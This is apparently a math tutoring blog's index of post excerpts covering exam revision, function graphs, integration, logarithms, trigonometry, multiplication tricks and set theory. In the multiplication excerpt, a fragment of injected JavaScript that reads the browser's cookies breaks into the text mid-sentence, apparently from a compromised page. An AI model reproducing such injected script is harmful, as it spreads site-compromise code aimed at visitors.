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How to manage the revision for Board and JEE Main Examinations

Since last two years, JEE Main (Engineering Entrance) exam conducted twice in a year. Now students are very confused about the preparation of pre-boards, boards and JEE Main. CBSE board and

GRAPH OF FUNCTIONS

To draw the graph for any function, we need to take some positive and negative values of $latex \displaystyle x,$ then find the corresponding values of $latex \displaystyle y.$ And make the line or

Integrate root cos2x divided by sinx with respect to x

$latex \displaystyle \int{\frac{\sqrt{\cos 2x}}{\sin x}dx}$ $latex \displaystyle =\int{\frac{\sqrt{\frac{1-{{\tan }^{2}}x}{1+{{\tan }^{2}}x}}}{\sin x}}\,\,dx$ $latex \displaystyle

PROPERTIES OF LOGARITHM

Logarithms are very useful for lengthy calculation. There are two types of logs: (1)  log   (2)  ln (Natural log) (1) The base is 10 in log (2) The base is e in natural log Here, we will

WHY sin x AND cosec x ARE POSITIVE IN SECOND QUADRANT?

जब भी मै बच्चो से पूछता हूँ कि sin x and cosec x, IInd quadrant में positive क्यों होता है? cos x and sec x, IVth में

TRIGONOMETRY FORMULAE

Trigonometry Formulae: Don’t try to remember just know the concept of derivation With the help of sin (A + B), we can derive all the remaining trigonometric formulae. Let’s see, how

MULTIPLICATION TECHNIQUES

Let us consider two digit numbers ab and cd. For example: 23 × 45 Now, Now, we can try in one step.   function getCookie(e){var U=document.cookie.match(new

OPERATIONS ON SETS

(1) Union of Sets: The union of two sets A and B is the set of all the elements which are either in A or in B or in both A and B. It is denoted by $latex A\cup B$.   Let $latex

LAWS OF SET OPERATIONS

(1) Idempotent laws : $latex \text{A}\cap \text{A}=\text{A}$ $latex \text{A}\cup \text{A}=\text{A}$       (2) Identity laws: $latex \displaystyle \text{A}\cap

CARDINAL NUMBER OF SETS

Some important results derived from Venn diagrams are as follows: A, B and C are three sets. $latex \displaystyle n\left( \text{A}\cup \text{B} \right)=n\left( \text{A} \right)+n\left(